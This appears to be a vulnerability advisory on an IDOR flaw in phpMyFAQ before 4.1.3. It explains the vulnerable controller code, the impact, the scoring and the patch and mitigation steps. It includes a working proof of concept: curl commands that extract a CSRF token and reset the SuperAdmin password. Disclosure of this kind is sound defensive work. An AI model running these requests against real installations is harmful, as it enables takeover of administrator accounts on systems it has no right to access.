May 20, 2026·6 min read·2 visits
An IDOR vulnerability in phpMyFAQ < 4.1.3 allows authenticated low-privileged administrators to purposefully reset the SuperAdmin password, resulting in total privilege escalation and account takeover.
phpMyFAQ versions prior to 4.1.3 contain a critical Insecure Direct Object Reference (IDOR) vulnerability within the administration API. An authenticated attacker with basic user-edit privileges can exploit this flaw to overwrite the password of any higher-privileged user, including the SuperAdmin account. This leads to complete application compromise.
phpMyFAQ is an open-source FAQ web application that provides administrative APIs to manage users, content, and system configurations. The administration API includes an endpoint designed to allow administrators to overwrite user passwords. This feature is intended for user management and account recovery tasks.
The application implements a role-based access control (RBAC) system. Users require specific permission flags, such as USER_EDIT, to interact with user-management endpoints. The vulnerability arises because the application checks for the presence of this global permission flag but fails to evaluate the permission context relative to the specific target user being modified.
This flaw is classified as an Insecure Direct Object Reference (CWE-639) combined with Improper Authorization (CWE-285). By manipulating the userId parameter in the API request, a low-privileged administrator can target any system account. Because the application does not verify hierarchical privilege boundaries, the attacker can overwrite the credentials of the SuperAdmin account, achieving total system compromise.
The root cause of this vulnerability lies in the overwritePassword() method within UserController.php. When processing a password reset request, the application retrieves the target user ID directly from the JSON request body using Filter::filterVar($data->userId, FILTER_VALIDATE_INT). The application assumes the provided identifier is valid for the current user's management scope.
Prior to executing the password change, the application invokes the userHasUserPermission() method. This method verifies that the active session holds the global USER_EDIT right. It does not verify whether the active session belongs to a user with equal or higher administrative privileges than the target user specified by the userId parameter.
Once the global permission check passes, the application fetches the target user object via $currentUser->getUserById((int) $userId). It then blindly applies the new password hash to this object. The absence of a comparative privilege check between the requesting user and the target user creates a horizontal and vertical privilege escalation vector.
The vulnerability is located in phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php. The vulnerable sequence begins by validating the global permission and then extracting the user-controlled parameter without contextual validation.
#[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
// Flaw 1: Global check only. Does not compare requester privileges vs target privileges.
$this->userHasUserPermission();
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
// Flaw 2: Trusting user input for the target account identifier.
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);
// ... CSRF verification ...
// The application fetches the arbitrary user and overwrites the password.
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
if (hash_equals($newPassword, $retypedPassword)) {
// The password change is committed to the database.
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => '...'], Response::HTTP_BAD_REQUEST);
}
}
}The fundamental missing logic is a routine that ensures $currentUser->getUserId() !== $userId operates within an authorized boundary. The patch must introduce a check to determine if the target $userId possesses privileges (like SuperAdmin) that the requesting user lacks, rejecting the request with an HTTP 403 Forbidden if the boundary is violated.
Exploitation requires an active session for an account with the USER_EDIT permission. The attacker first accesses any administrative page to extract a valid CSRF token. This token is embedded in the HTML source and is required to successfully interact with the API endpoints.
curl -sL -b "PHPSESSID=[ADMIN_SESSION]" http://[TARGET]/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'With the CSRF token acquired, the attacker crafts a PUT request targeting the /admin/api/user/overwrite-password endpoint. The payload specifies the userId as 1, which is the default identifier for the SuperAdmin account in phpMyFAQ. The attacker provides a new password of their choosing.
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=[ADMIN_SESSION]" \
-d '{
"userId": 1,
"csrf": "[EXTRACTED_CSRF_TOKEN]",
"newPassword": "AttackerControlledP@ss1!",
"passwordRepeat": "AttackerControlledP@ss1!"
}' \
http://[TARGET]/admin/api/user/overwrite-passwordThe server processes the request, bypasses the granular authorization checks, and responds with a success message. The attacker can immediately authenticate via the web interface using the SuperAdmin credentials, taking full control of the phpMyFAQ instance.
The following diagram illustrates the interaction between the attacker and the vulnerable API endpoint.
The successful exploitation of this vulnerability results in a total loss of confidentiality, integrity, and availability for the phpMyFAQ application. By overtaking the SuperAdmin account, the attacker gains the ability to modify system configurations, extract sensitive database contents, and manipulate user records.
The CVSS v3.1 base score of 8.8 reflects the high severity of the flaw. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), making exploitation straightforward. The Privileges Required is Low (PR:L) because the attacker must already possess an active session with the USER_EDIT permission.
Furthermore, administrative access to web applications frequently serves as a stepping stone for secondary attacks. An attacker with SuperAdmin rights could potentially discover functionality that allows for arbitrary file uploads or code execution, expanding the compromise to the underlying web server operating system.
The vendor addressed this vulnerability in phpMyFAQ version 4.1.3. Organizations utilizing phpMyFAQ must prioritize updating their deployments to this version or a newer stable release. The patch modifies the API controller to enforce strict authorization boundaries, preventing lower-privileged users from modifying higher-privileged accounts.
If immediate patching is not feasible, administrators should restrict access to the /admin/api/user/overwrite-password endpoint. This can be achieved using a Web Application Firewall (WAF) or reverse proxy rules that block PUT requests to this path entirely, though this will disrupt legitimate administrative password resets.
Additionally, organizations should audit their user roles to ensure the principle of least privilege is enforced. Limit the distribution of the USER_EDIT permission strictly to personnel who require it for daily operations. Implement extensive logging on all API actions that modify security principals.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
phpmyfaq/phpmyfaq thorsten | < 4.1.3 | 4.1.3 |
| Attribute | Detail |
|---|---|
| CVE ID | GHSA-xvp4-phqj-cjr3 |
| CVSS Score | 8.8 |
| Attack Vector | Network |
| Authentication Required | Low Privilege (USER_EDIT) |
| CWE ID | CWE-639, CWE-285 |
| Impact | Complete Account Takeover |
| Exploit Status | PoC Available |
The application uses a user-supplied identifier to access a database object without performing adequate authorization checks.